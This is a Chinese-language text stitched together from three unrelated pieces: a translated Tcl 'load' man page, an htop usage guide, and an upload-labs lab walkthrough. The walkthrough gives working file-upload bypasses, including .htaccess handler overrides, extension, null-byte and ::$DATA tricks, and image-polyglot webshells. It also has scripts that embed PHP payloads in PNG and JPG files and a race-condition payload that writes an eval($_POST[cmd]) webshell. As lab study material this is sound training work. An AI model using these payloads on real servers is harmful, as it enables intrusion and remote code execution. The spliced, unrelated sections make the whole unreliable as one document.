Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME load \- 装载机器代码并初始化新命令。 .SH "总览 SYNOPSIS" \fBload \fIfileName\fR .br \fBload \fIfileName packageName\fR .br \fBload \fIfileName packageName interp\fR .BE .SH "描述 DESCRIPTION" .PP 这个命令把二进制代码从一个文件装载到应用的地址空间中并调用在包(package)中的初始化过程来把它加入到解释器中。\fIfileName\fR 是包含代码的文件的名字;它准确的形式在不同的系统上是不同的,但在多数系统上是一个共享库,例如,在 Solaris 下的 \fB.so\fR 文件或在 Windows 下的一个 DLL。\fIpackageName\fR 是包的名字,并被用于计算初始化过程的名字。\fIinterp\fR 是要在其中装载包的解释器的路径名(详情参见 \fBinterp\fR 手册条目);如果省略了 \fIinterp\fR ,它的缺省是在其中调用 \fBload \fR命令的那个解释器。 .PP 一旦已经被装载到应用的地址空间中,两个初始化过程之一将在新代码中被调用。典型的,初始化进程将向一个 Tcl 解释器添加新命令。初始化过程的名字由 \fIpackageName\fR 和目标解释器是否是安全解释器来确定。对于通常的解释器,初始化过程的名字的形式是 \fIpkg\fR\fB_Init\fR,这里 \fIpkg\fR 与 \fIpackageName\fR 相同,但是第一个字母被转换成大写而所有其他字母被转换成小写。例如,如果 \fIpackageName\fR 是 \fBfoo\fR 或 \fBFOo\fR,则初始化过程的名字将是 \fBFoo_Init\fR。 .PP 如果目标解释器是一个安全解释器,则初始化过程的名字将是 \fIpkg\fR\fB_SafeInit\fR 而不是 \fIpkg\fR\fB_Init\fR。写 \fIpkg\fR\fB_SafeInit\fR 函数要仔细,在包中提供的功能中,只用由不可信任的代码使用是安全的的那部分初始化安全解释器。 关于 Safe-Tcl 的详细的信息,请参见 \fBsafe\fR 手册条目。 .PP 初始化过程必须匹配下列原型 (prototype): .CS typedef int Tcl_PackageInitProc(Tcl_Interp *\fIinterp\fR); .CE \fIinterp\fR 参数标识在其中装载包的解释器。初始化过程必须返回 \fBTCL_OK\fR 或 \fBTCL_ERROR\fR 来指示是否成功完成;在有错误的情况下,应把解释器的结果设置为指向一个错误消息。初始化过程返回的结果就是 \fBload\fR 命令的结果。 .PP 在一个应用中对每个 \fIfileName \fR只进行一次文件的实际装载。如果一个给定的 \fIfileName\fR 被装载到多个解释器中,则第一个 \fBload\fR 将装载代码并调用初始化过程;随后的 \fBload\fR 将调用初始化过程而不再次装载代码 。不可能卸载或重载一个包。 .PP \fBload\fR 命令还支持同应用静态连接的包,条件是这些包已经通过调用 \fBTcl_StaticPackage\fR 过程注册过了。如果 \fIfileName\fR 是一个空串,则必须指定\fIpackageName\fR 。 .PP 如果省略了 \fIpackageName\fR 或被指定为一个空串,Tcl 尝试着猜出包的名字。在不同的平台上可能是不同的。在多数 UNIX 平台上,缺省的猜测是接受 \fIfileName\fR 的最后的组成部分,如果前三个字符是 \fBlib \fR就去掉它们,使用所有随后的 .VS 字母和下划线作为模块的名字。 .VE 例如,命令 \fBload libxyz4.2.so\fR 使用模块名 \fBxyz\fR 而命令 \fBload bin/last.so {}\fR 使用模块名 \fBlast\fR。 .VS "" br .PP 如果 \fIfileName\fR 是一个空串,则必须指定 \fIpackageName\fR。\fBload\fR 命令首先用这个名字查找一个静态装载包(通过调用 \fBTcl_StaticPackage\fR 过程注册的包);如果找到了就使用它。否则,\fBload\fR 命令用这个名字查找动态装载包,如果找到就使用它。如果一些不同的文件被装载成包的不同版本,Tcl 选择被最先装载的文件。 .VE .SH "移植要点 PORTABILITY ISSUES" .TP \fBWindows\fR\0\0\0\0\0 . 在装载出现 "library not found" 错误的时候,也有可能是没找到一个依赖库。要查看依赖库,在一个 DOS 控制台中“dumpbin -imports <dllname>”来查看必须导入那些库。在当前目录中装载一个 DLL 的时候,Windows 将忽略作为一个路径指定符(specifier)的“./”,转而使用一次启发式(heuristic)的查找来找到这个 DLL。要避免如此,装载DLL 就要用 .CS load [file join [pwd] mylib.DLL] .CE .SH BUGS .PP 如果以不同的\fIfileName\fRs 装载同一个文件,它将被多次载入这个进程的地址空间。在不同的系统上装载的行为是不同的(一些系统可以检测多余的装载,其他的可能不能)。 .SH "参见 SEE ALSO" \fBinfo sharedlibextension\fR, Tcl_StaticPackage(3), safe(n) .SH "关键字 KEYWORDS" binary code, loading, safe interpreter, shared library .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/08/30 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
htop === [非内部命令]一个互动的进程查看器,可以动态观察系统进程状况 ## 补充说明 htop命令 是Linux系统中的一个互动的进程查看器,一个文本模式的应用程序(在控制台或者X终端中),需要ncurses。 与Linux传统的top相比,htop更加人性化。它可让用户交互式操作,支持颜色主题,可横向或纵向滚动浏览进程列表,并支持鼠标操作。 与top相比,htop有以下优点: - 可以横向或纵向滚动浏览进程列表,以便看到所有的进程和完整的命令行。 - 在启动上,比top 更快。 - 杀进程时不需要输入进程号。 - htop 支持鼠标操作。 - 两者相比起来,top比较繁琐。 top缺点: - 只支持键盘操作。 - 显示也单调。 htop 官网:http://htop.sourceforge.net/ ### htop 安装 在大多数的 Linux 发行版中你不会找到预安装的 `htop`,但作为最流行的实用程序之一,你会在几乎每个 Linux 发行版的默认存储库中找到 `htop`。 因此,如果你的机器是基于 Debian/Ubuntu 驱动的,则以下命令应该可以完成你的工作: ```shell sudo apt install htop ``` 类似的,如果你使用的是 Fedora,则可以使用以下的命令: ```shell sudo dnf install htop ``` 如果你使用的是 CentOS 或 RedHat 则可以使用以下的命令: ```shell sudo yum install htop ``` 如果你想避免从源代码构建包,还有一个 Snap 包可用: ```shell sudo snap install htop ``` 如果你使用的是其它的发行版或者想从源代码构建,你可以使用 `wget` 下载并安装: 这需要你下载并安装 `wget` `cmake` ```shell wget https://link.zhihu.com/?target=https%3A//hisham.hm/htop/releases/2.2.0/htop-2.2.0.tar.gz tar -zxvf htop-2.2.0.tar.gz cd htop-2.2.0/ ./configure make make install ``` 当然你也可以随时参考你可以随时参考 [htop 的 GitHub](https://link.zhihu.com/?target=https%3A//github.com/htop-dev/htop) 页面以获得详细说明。 **说明**:htop源码安装方式默认安装到 `/usr/local` 目录下,如果想安装到其它路径,在执行 configure 时通过 `—prefix` 指定,格式为:`./configure --prefix=/some/path` ### 语法 ```shell htop ``` ### 参数 ```shell -C --no-color 使用单色配色方案 -d --delay=DELAY 设置更新之间的延迟,在十秒 -s --sort-key=COLUMN 纵列排序(try --sort-key=help for a list) -u --user=USERNAME 只显示一个指定用户的进程 -p --pid=PID,[,PID,PID...] 只显示给用户 -h --help 打印此命令帮助 -v --version 打印版本信息 ``` #### 参数示例 - -C 选项:设置界面为无颜色。 - -d 选项 : 设置刷新时间,单位为秒。如,htop -d 10命令会每10秒刷新一次。 - -s 选项 : 按指定的列排序。如,htop -s PID命令会按PID 列的大小排序来显示。 - -u 选项 : 显示指定的用户的进程信息。如,htop -u test命令会只显示出用户名为test的相关进程。 ### 选项 ```shell h,? F1:查看htop使用说明 S F2:设置 / F3:搜索进程 \ F4:过滤器,按关键字搜索 t F5:显示树形结构 <,> F6:选择排序方式 [ F7:减少nice值,这样就可以提高对应进程的优先级 ] F8:增加nice值,这样可以降低对应进程的优先级 k F9:杀掉选中的进程 q F10:退出htop / : 搜索字符 h : 显示帮助 l : 显示进程打开的文件: 如果安装了lsof,按此键可以显示进程所打开的文件 u : 显示所有用户,并可以选择某一特定用户的进程 U : 取消标记所有的进程 s : 将调用strace追踪进程的系统调用 t : 显示树形结构 H:显示/隐藏用户线程 I:倒转排序顺序 K:显示/隐藏内核线程 M:按内存占用排序 P:按CPU排序 T:按运行时间排序 上下键或PgUP, PgDn : 移动选中进程 左右键或Home, End : 移动列表 Space(空格) : 标记/取消标记一个进程。命令可以作用于多个进程,例如 "kill",将应用于所有已标记的进程 ``` ### Htop设定 鼠标点击Setup或者按下F2 之后进入htop 设定的页面 #### 1. Meters 设定顶端的 显示信息,分为左右两侧,Left column 表示左侧的显示的信息,Right column表示右侧显示的信息,如果要新加选项,可以选择Available meters添加,F5新增到上方左侧,F6新增到上方右侧。Left column和Right column下面的选项,可以选定信息的显示方式,有LED、Bar(进度条)、Text(文本模式),可以根据个人喜好进行设置 #### 2. Display options 选择要显示的内容,按空格 x表示显示,选择完后,按F10保存 #### 3. Colors 设定界面以什么颜色来显示,个人认为用处不大,各人喜好不同 #### 4. Colums 作用是增加或取消要显示的各项内容,选择后F7(向上移动)、F8(向下移动)、F9(取消显示、F10(保存更改))此处增加了PPID、PGRP,根据各人需求,显示那些信息。 **F3 搜索进程** 在界面下按F3或直接输入”/”就可以直接进入搜索模式,是按照进程名进行搜索的,搜索到的进程会用设定的颜色标记出来,方便查看。 **F4:过滤器** 相当于模糊查找,不区分大小写,下方输入要搜索的内容后,则界面只显示搜索到的内容,更加方便查看 **F5:以树形方式显示** **F6:排序方式** 按下F6后会跳转至以树形方式显示界面,让您选择以什么方式进行排序,在Sort by下选择您要以什么来排序 **F7,F8:调整进程nice值** F7表示减小nice值(增大优先级),F8增大nice值(减小优先级),选择某一进程,按F7或F8来增大或减小nice值,nice值范围为-20-19 **F9:杀死进程** 选择某一进程按F9即可杀死此进程,很方便 **F10:退出htop**
sec-knowleage
# upload-labs-WalkThrough --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **靶场项目地址** - https://github.com/c0ny1/upload-labs **环境要求** - 操作系统: Window or Linux 推荐使用 Windows,除了 Pass-19 必须在 linux 下,其余 Pass 都可以在 Windows 上运行 - PHP 版本 : 推荐 5.2.17 其他版本可能会导致部分 Pass 无法突破 - PHP 组件 : php_gd2,php_exif 部分 Pass 依赖这两个组件 - 中间件 : 设置 Apache 以 moudel 方式连接 注 : 靶机自带 PHPstudy 环境,开个 win7 虚拟机,直接启动即可,mysql 起不来也没事,这个不需要数据库 --- ## 前言 网上的文章写的很全了,主要点都有,没必要再发明轮子,在补充补充一些内容加深一下记忆 --- ## writeup ### Pass-01-js 检查 检测规则: 在客户端使用 js 对不合法图片进行检查 `payload: 直接禁用 JS 或 burp 抓包修改文件后缀名` ### Pass-02-验证 Content-type 检测规则: 在服务端对数据包的 MIME 进行检查 `payload: 把 Content-Type 改为图片类型即可` ### Pass-03-黑名单绕过 检测规则: 禁止上传 .asp|.aspx|.php|.jsp 后缀文件 利用 PHP 的一些可解析后缀比如:pht、php3 、php4、php5、phtml 等等 `payload: 上传文件后缀改为 php3 ` 或者上传 `.htaccess` 文件,需要: 1. mod_rewrite 模块开启. 2. AllowOverride All 文件内容 ``` <FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch> ``` 此时上传 shell.jpg 文件即可被当作 php 来解析. ### Pass-04-.htaccess 绕过 检测规则: 禁止上传 .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf 后缀文件! `payload: 过滤了各种罕见后缀,但是没有过滤 .htaccess,用 pass-03 的 .htaccess 方法即可.` ### Pass-05-后缀名Fuzz 黑盒情况下对于这种情况,比较好的方法就是 Fuzz 上传后缀,上传后缀字典 见 https://github.com/ffffffff0x/AboutSecurity/tree/master/Dic/Web/Upload 直接导入到 burp 中跑就是了 ### Pass-06-大小写绕过 检测规则: 禁止上传 .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess 后缀文件! `payload: 过滤了 .htaccess,并且代码中后缀转换为小写被去掉了,因此我们可以上传 Php 来绕过黑名单后缀.(在 Linux 没有特殊配置的情况下,这种情况只有 win 可以,因为 win 会忽略大小写)` ### Pass-07-空格绕过 `payload: Win 下 xx.jpg[空格] 或 xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows 会默认除去空格或点此处会删除末尾的点,但是没有去掉末尾的空格,因此上传一个 .php 空格文件即可.` ### Pass-08-点绕过 `payload: 没有去除末尾的点,因此与上面同理,上传 .php. 绕过.` ### Pass-09-::$DATA 绕过 NTFS 文件系统包括对备用数据流的支持.这不是众所周知的功能,主要包括提供与 Macintosh 文件系统中的文件的兼容性.备用数据流允许文件包含多个数据流.每个文件至少有一个数据流.在 Windows 中,此默认数据流称为:$ DATA. `payload: 上传 .php::$DATA 绕过.(仅限 windows)` ### Pass-10-.空格. 绕过 `payload: move_upload_file 的文件名直接为用户上传的文件名,我们可控.且会删除文件名末尾的点,因此我们可以结合 Pass-7 用 .php.空格. 绕过,windows 会忽略文件末尾的 . 和空格` **另一种方法** 尝试二次上传的方式,借助 windows 平台的正则匹配规则 如下符号在 windows 平台下等效果 ``` " => . > => ? < => * ``` 首先随便上传一个 shell.php,使用抓包工具,将文件后缀修改为:`shell.php:.jpg` 此时,会在 upload 目录下生成一个名为 shell.php 的空文件: 然后,再次上传,修改数据包文件名为:`shell.<<<`,这里在 move_uploaded_file($temp_file, '../../upload/shell.<<<') 类似与正则匹配,匹配到 `.../../upload/shell.php` 文件,然后会将此次上传的文件数据写入到 shell.php 文件中,这样就成功写入我们的小马了. ### Pass-11-双写绕过 敏感后缀替换为空 `payload: 双写 .pphphp 绕过即可` ### Pass-12-00 截断 CVE-2015-2348 影响版本:5.4.x<= 5.4.39, 5.5.x<= 5.5.23, 5.6.x <= 5.6.7 exp:move_uploaded_file($_FILES['name']['tmp_name'],"/file.php\x00.jpg"); 源码中 move_uploaded_file 中的 save_path 可控,因此 00 截断即可. ### Pass-13-00 截断 img_path 依然是拼接的路径,但是这次试用的 post 方式,还是利用 00 截断,但这次需要在二进制中进行修改,因为 post 不会像 get 对 %00 进行自动解码 ### Pass-14-unpack ```php function getReailFileType($filename){ $file = fopen($filename, "rb"); $bin = fread($file, 2); //只读2字节 fclose($file); $strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType; } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file); if($file_type == 'unknown'){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } } ?> ``` 从这一关开始要求上传图片马,但是没有办法直接执行图片马,需要另外的方法去实现一般是加上 php 伪协议去 getshell,常见的有 phar,zip 等等 这里可以发现源代码只是用了 unpack 这一个函数去实现对于 php 前两个字节的检测,也就是只是对文件头做检测... `payload: 制作图片马 copy 1.jpg /b + 1.php /a shell.jpg` `http://192.168.37.150/include.php?file=upload/3020190807143926.png` ### Pass-15-getimagesize() ```php function isImage($filename){ $types = '.jpeg|.png|.gif'; if(file_exists($filename)){ $info = getimagesize($filename); $ext = image_type_to_extension($info[2]); if(stripos($types,$ext)>=0){ return $ext; }else{ return false; } }else{ return false; } } ``` getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串. image_type_to_extension — 取得图像类型的文件后缀 类似上一个题目,获取了图片的相关的大小及类型,同样可以使用文件头的方式绕过 `payload: 同 Pass-13` 另一种方法: 将 PHP 木马文件,改成 `*.php;.jpg` ,抓包,给文件头部加上:GIF89a 图片头标识 ### Pass-16-exif_imagetype() ```php $image_type = exif_imagetype($filename); ``` exif_imagetype() 读取一个图像的第一个字节并检查其签名. 换了一个获取图片信息的函数 `payload: 同 Pass-13` ### Pass-17-二次渲染绕过 判断了后缀名、content-type,以及利用 imagecreatefromgif 判断是否为 gif 图片,最后再做了一次二次渲染,绕过方法可以参考先知的文章,写的很详细:https://xz.aliyun.com/t/2657 jpg 和 png 很麻烦,gif 只需要找到渲染前后没有变化的位置,然后将 php 代码写进去,就可以了. #### 上传 gif 关于检测 gif 的代码 ```php else if(($fileext == "gif") && ($filetype=="image/gif")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefromgif($target_path); if($im == false){ $msg = "该文件不是gif格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".gif"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagegif($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; } ``` 第 71 行检测 $fileext 和 $filetype 是否为 gif 格式. 然后 73 行使用 move_uploaded_file 函数来做判断条件,如果成功将文件移动到 $target_path,就会进入二次渲染的代码,反之上传失败. 在这里有一个问题,如果作者是想考察绕过二次渲染的话,在 move_uploaded_file($tmpname,$target_path)返回 true 的时候,就已经成功将图片马上传到服务器了,所以下面的二次渲染并不会影响到图片马的上传.如果是想考察文件后缀和 content-type 的话,那么二次渲染的代码就很多余.(到底考点在哪里,只有作者清楚.哈哈) 由于在二次渲染时重新生成了文件名,所以可以根据上传后的文件名,来判断上传的图片是二次渲染后生成的图片还是直接由 move_uploaded_file 函数移动的图片. 我看过的 writeup 都是直接由 move_uploaded_file 函数上传的图片马.今天我们把 move_uploaded_file 这个判断条件去除,然后尝试上传图片马. **payload** 将 `<?php phpinfo(); ?>` 添加到 111.gif 的尾部.成功上传含有一句话的 111.gif,但是这并没有成功.我们将上传的图片下载到本地. 可以看到下载下来的文件名已经变化,所以这是经过二次渲染的图片.我们使用16进制编辑器将其打开. 可以发现,我们在 gif 末端添加的 php 代码已经被去除. 关于绕过 gif 的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将 php 代码写进去,就可以成功上传带有 php 代码的图片了. 经过对比,部分是没有发生变化的,我们将代码写到该位置.上传后在下载到本地使用16进制编辑器打开,php 代码没有被去除.成功上传图片马 #### 上传 png png 图片由 3 个以上的数据块组成. PNG 定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块.关键数据块定义了 3 个标准数据块(IHDR,IDAT, IEND),每个 PNG 文件都必须包含它们. 数据块结构 CRC(cyclic redundancy check)域中的值是对 Chunk Type Code 域和 Chunk Data 域中的数据进行计算得到的.CRC 具体算法定义在 ISO 3309 和 ITU-T V.42 中,其值按下面的 CRC 码生成多项式进行计算:x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1 数据块 IHDR(header chunk):它包含有 PNG 文件中存储的图像数据的基本信息,并要作为第一个数据块出现在 PNG 数据流中,而且一个 PNG 数据流中只能有一个文件头数据块. 文件头数据块由 13 字节组成,它的格式如下图所示. 调色板 PLTE 数据块是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从 0 开始编号,然后是 1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为 4 的时候,调色板中的颜色数不可以超过 2^4=16),否则,这将导致 PNG 图像不合法. 图像数据块 IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块. IDAT 存放着图像真正的数据信息,因此,如果能够了解 IDAT 的结构,我们就可以很方便的生成 PNG 图像 图像结束数据 IEND(image trailer chunk):它用来标记 PNG 文件或者数据流已经结束,并且必须要放在文件的尾部. 如果我们仔细观察 PNG 文件,我们会发现,文件的结尾 12 个字符看起来总应该是这样的:00 00 00 00 49 45 4E 44 AE 42 60 82 **payload** - **写入 PLTE 数据块** php 底层在对 PLTE 数据块验证的时候,主要进行了 CRC 校验.所以可以再 chunk data 域插入 php 代码,然后重新计算相应的 crc 值并修改即可. 这种方式只针对索引彩色图像的 png 图片才有效,在选取 png 图片时可根据 IHDR 数据块的 color type 辨别 .03 为索引彩色图像. 1. 在 PLTE 数据块写入 php 代码 2. 计算 PLTE 数据块的 CRC 脚本 ```python import binascii import re png = open(r'2.png','rb') a = png.read() png.close() hexstr = binascii.b2a_hex(a) ''' PLTE crc ''' data = '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0] crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff print hex(crc) ``` 运行结果 `526579b0` 3. 修改 CRC 值 - **写入IDAT数据块** 这里有国外大牛写的脚本,直接拿来运行即可. ```php <?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'./1.png'); ?> ``` 运行后得到 1.png #### 上传 jpg 采用国外大牛编写的脚本 jpg_payload.php ```php <?php /* The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled(). It is necessary that the size and quality of the initial image are the same as those of the processed image. 1) Upload an arbitrary image via secured files upload script 2) Save the processed image and launch: jpg_payload.php <jpg_name.jpg> In case of successful injection you will get a specially crafted image, which should be uploaded again. Since the most straightforward injection method is used, the following problems can occur: 1) After the second processing the injected data may become partially corrupted. 2) The jpg_payload.php script outputs "Something's wrong". If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image. Sergey Bobrov @Black2Fan. See also: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ */ $miniPayload = "<?=phpinfo();?>"; if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); } if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); } set_error_handler("custom_error_handler"); for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE; if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); } while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong'); function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; } function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); } public function seek() { return ($this->size - strlen($this->binData)); } public function skip($skip) { $this->binData = substr($this->binData, $skip); } public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); } public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; } public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?> ``` 使用脚本处理 1.jpg,命令 php jpg_payload.php 1.jpg 使用 16 进制编辑器打开,就可以看到插入的 php 代码.将生成的 payload_1.jpg 上传. ### Pass-18-条件竞争 这一关是条件竞争的问题,这里先将文件上传到服务器,然后通过 rename 修改名称,再通过 unlink 删除文件,因此可以通过条件竞争的方式在 unlink 之前,访问 webshell.这里可以使用 burp 去发包,可以把文件内容改成下面这样 `<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]?>');?>` 反正就是为了写文件进去就对了 两个 burp 跑一跑,就会在该文件夹下面产生新的文件了 ### Pass-19-条件竞争 同样的也是一个条件竞争的问题,看一下源代码可以发现这里使用类去实现相关方法,包括查看文件后缀名,大小等等 这里面的问题存在于代码将上传文件更改名字的时候给了个时间差,让我们可以去实现这个竞争效果,同样的方法 **另一种方法** 上传名字为 `shell.php.7Z` 的文件,快速重复提交该数据包,会提示文件已经被上传,但没有被重命名. 这时在上一级目录中会存在 `shell.php.7Z` 文件,利用 Apache 解析漏洞可以直接作为 php 文件访问 ### Pass-20-/. 绕过 本关考察 CVE-2015-2348 move_uploaded_file() 00 截断,上传 webshell,同时自定义保存名称,直接保存为 php 是不行的 ```php if(!in_array($file_ext,$deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; }else{ $msg = '上传出错!'; } }else{ $msg = '禁止保存为该类型文件!'; } ``` 查看代码,发现 move_uploaded_file() 函数中的 img_path 是由 post 参数 save_name 控制的,因此可以在 save_name 利用 00 截断绕过: 上传的文件名用 0x00 绕过.改成 xx.php[二进制00].x.jpg **另一种方法** move_uploaded_file 底层会调用 tsrm_realpath 函数导致,递归删除文件名最后的 /. 导致绕过了后缀名检测 上传的文件名用 `shell.php/.` 绕过. ### Pass-21-数组 +/. 绕过 ```php if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $is_upload = false; $msg = null; if(!empty($_FILES['upload_file'])){ //mime check $allow_type = array('image/jpeg','image/png','image/gif'); if(!in_array($_FILES['upload_file']['type'],$allow_type)){ $msg = "禁止上传该类型文件!"; }else{ //check filename $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; if (!is_array($file)) { $file = explode('.', strtolower($file)); } $ext = end($file); $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!"; }else{ $file_name = reset($file) . '.' . $file[count($file) - 1]; $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!"; $is_upload = true; } else { $msg = "文件上传失败!"; } } } }else{ $msg = "请选择要上传的文件!"; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } } ``` 这个题目用了数组 +/. 的方式去绕过,因为源代码里面含有这样的两句代码,成了关键得绕过的地方 ```php if (!is_array($file)) { $file = explode('.', strtolower($file)); } ``` ```php $file_name = reset($file) . '.' . $file[count($file) - 1]; ``` 这同样我们就需要满足两个条件,第一个是先得保证另外修改的名字需要满足是数组的条件,所以我们可以抓包构造数组,第二点由于后面 filename 构成的过程中由于 $file[count($file) - 1] 的作用,导致 $file[1] = NULL,所以构造文件名后相当于直接就是 xx.php/.,根据上面一题的知识,可以直接在 move_uploaded_file 函数的作用下可以将 /. 忽略,因此还是可以上传成功的. 因此 save_name 变量的两个值分别是 xx.php/,另外一个值是 jpg,其实从代码审计的角度上看,还是可控变量导致这样的后果 --- **Source & Reference** - [Upload-labs 20关通关笔记](https://xz.aliyun.com/t/4029) - [upload-labs刷关记录](https://blog.csdn.net/u011377996/article/details/86776198) - [Upload-labs通关手册](https://xz.aliyun.com/t/2435) - [upload-labs之pass 16详细分析](https://xz.aliyun.com/t/2657#toc-10) - [聊聊安全测试中如何快速搞定Webshell](https://www.freebuf.com/articles/web/201421.html) - 